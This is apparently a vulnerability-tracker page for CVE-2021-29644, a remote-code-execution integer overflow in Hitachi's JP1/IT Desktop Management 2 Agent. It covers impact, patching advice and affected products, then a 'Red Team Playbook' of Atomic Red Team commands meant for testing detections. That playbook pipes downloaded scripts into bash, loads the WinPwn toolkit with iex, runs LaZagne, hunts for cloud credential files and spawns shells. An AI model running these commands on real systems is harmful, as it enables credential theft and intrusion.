CVE-2021-29644
Overview
This vulnerability is an integer overflow occurring within the Hitachi JP1/IT Desktop Management 2 Agent versions 9 through 12. The flaw arises from improper handling of integer values in the network communication component listening on port 31016. The affected component fails to correctly validate or constrain input sizes, leading to memory corruption conditions.
Vulnerability Description
Hitachi JP1/IT Desktop Management 2 Agent 9 through 12 contains a remote code execution vulnerability because of an Integer Overflow. An attacker with network access to port 31016 may exploit this issue to execute code with unrestricted privileges on the underlying OS.
Impact
An unauthenticated attacker with network access to port 31016 can exploit this integer overflow to execute arbitrary code with unrestricted privileges on the host operating system. This enables full system compromise, including the ability to install malware, disrupt services, or move laterally within the network. The attack requires no user interaction and leverages the network accessibility of the vulnerable agent, as reflected by the CVSS vector indicating network attack vector, high impact on availability, confidentiality, and integrity, and no privileges or user interaction needed.
Solution
Hitachi recommends applying the security updates provided in their official security advisory available at https://www.hitachi.com/hirt/security/index.html. Users should upgrade JP1/IT Desktop Management 2 Agent to versions later than 12 where this issue is resolved. No workaround is specified; therefore, immediate patching according to the vendor's instructions is necessary to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in Hitachi's JP1/IT Desktop Management 2 Agent versions 9 through 12 is characterized by an integer overflow issue. This flaw allows an attacker with network access to the service running on port 31016 to manipulate the application’s memory allocation. When an integer overflow occurs, it can lead to unexpected behavior, such as writing data outside the intended memory bounds. This can ultimately enable the execution of arbitrary code with unrestricted privileges on the underlying operating system. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating that it poses a significant risk to systems utilizing the affected software.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage network access to the vulnerable service, potentially using crafted packets that exploit the integer overflow condition. Once the attack is successful, the attacker can execute malicious code, gaining control over the affected system. This could lead to a range of malicious activities, such as data exfiltration, installation of malware, or lateral movement within the network to compromise additional systems. The ease of exploitation, combined with the potential for remote access, makes this vulnerability particularly concerning for organizations relying on the affected products.
The real-world impact of this vulnerability is substantial, particularly for businesses that utilize Hitachi's IT management solutions. Successful exploitation could result in unauthorized access to sensitive data, disruption of critical IT services, and significant financial losses. Additionally, organizations may face reputational damage and regulatory penalties if customer data is compromised. The potential for widespread exploitation means that businesses must take this vulnerability seriously, as it could serve as an entry point for more extensive attacks on their infrastructure.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular vulnerability assessments and penetration testing can help identify systems that are running affected versions of the software. Network monitoring tools can also be employed to detect unusual traffic patterns or unauthorized access attempts targeting the vulnerable service. In terms of mitigation, organizations should prioritize patching affected systems to close the vulnerability. Additionally, employing network segmentation and limiting access to the vulnerable service can reduce the attack surface and minimize the risk of exploitation.
In conclusion, the integer overflow vulnerability in Hitachi's JP1/IT Desktop Management 2 Agent represents a critical security concern for organizations. The potential for remote code execution with elevated privileges poses a significant risk to the confidentiality, integrity, and availability of systems and data. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare their defenses and implement effective detection and mitigation strategies to safeguard their IT environments.
Affected Products (105)
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Hitachi | It Operations Director | All |
cpe:2.3:a:hitachi:it_operations_director:*:*:*:*:*:*:*:*
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Hitachi | It Operations Director | All |
cpe:2.3:a:hitachi:it_operations_director:*:*:*:*:*:*:*:*
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Hitachi | It Operations Director | All |
cpe:2.3:a:hitachi:it_operations_director:*:*:*:*:*:*:*:*
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Hitachi | It Operations Director | All |
cpe:2.3:a:hitachi:it_operations_director:*:*:*:*:*:*:*:*
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Hitachi | Job Management Partner 1\/it Desktop Management-Manager | All |
cpe:2.3:a:hitachi:job_management_partner_1\/it_desktop_management-manager:*:*:*:*:*:*:*:*
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Hitachi | Job Management Partner 1\/it Desktop Management-Manager | All |
cpe:2.3:a:hitachi:job_management_partner_1\/it_desktop_management-manager:*:*:*:*:*:*:*:*
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Hitachi | Job Management Partner 1\/it Desktop Management-Manager | All |
cpe:2.3:a:hitachi:job_management_partner_1\/it_desktop_management-manager:*:*:*:*:*:*:*:*
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Hitachi | Job Management Partner 1\/it Desktop Management 2-Manager | All |
cpe:2.3:a:hitachi:job_management_partner_1\/it_desktop_management_2-manager:*:*:*:*:*:*:*:*
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Hitachi | Job Management Partner 1\/remote Control Agent | All |
cpe:2.3:a:hitachi:job_management_partner_1\/remote_control_agent:*:*:*:*:*:*:*:*
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Hitachi | Job Management Partner 1\/remote Control Agent | All |
cpe:2.3:a:hitachi:job_management_partner_1\/remote_control_agent:*:*:*:*:*:*:*:*
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Hitachi | Job Management Partner 1\/remote Control Agent | All |
cpe:2.3:a:hitachi:job_management_partner_1\/remote_control_agent:*:*:*:*:*:*:*:*
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Hitachi | Job Management Partner 1\/remote Control Agent | All |
cpe:2.3:a:hitachi:job_management_partner_1\/remote_control_agent:*:*:*:*:*:*:*:*
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Hitachi | Job Management Partner 1\/remote Control Agent | All |
cpe:2.3:a:hitachi:job_management_partner_1\/remote_control_agent:*:*:*:*:*:*:*:*
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Hitachi | Job Management Partner 1\/remote Control Agent | All |
cpe:2.3:a:hitachi:job_management_partner_1\/remote_control_agent:*:*:*:*:*:*:*:*
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Hitachi | Job Management Partner 1\/software Distribution Client | All |
cpe:2.3:a:hitachi:job_management_partner_1\/software_distribution_client:*:*:*:*:*:*:*:*
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Hitachi | Job Management Partner 1\/software Distribution Client | All |
cpe:2.3:a:hitachi:job_management_partner_1\/software_distribution_client:*:*:*:*:*:*:*:*
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Hitachi | Job Management Partner 1\/software Distribution Client | All |
cpe:2.3:a:hitachi:job_management_partner_1\/software_distribution_client:*:*:*:*:*:*:*:*
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Hitachi | Job Management Partner 1\/software Distribution Client | All |
cpe:2.3:a:hitachi:job_management_partner_1\/software_distribution_client:*:*:*:*:*:*:*:*
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Hitachi | Job Management Partner 1\/software Distribution Client | All |
cpe:2.3:a:hitachi:job_management_partner_1\/software_distribution_client:*:*:*:*:*:*:*:*
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Hitachi | Job Management Partner 1\/software Distribution Client | All |
cpe:2.3:a:hitachi:job_management_partner_1\/software_distribution_client:*:*:*:*:*:*:*:*
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Exploits
No exploits found for this CVE.
Threat Feed
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Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
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CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
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| CAPEC-92 | Forced Integer Overflow |
45%
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High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
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PID = $_.OwningProcess
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}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (2)
| Title | Tags | URL |
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| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2021-29644 |
| hitachi.com |
GitHub CVE
x_refsource_MISC
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https://www.hitachi.com/hirt/security/index.html |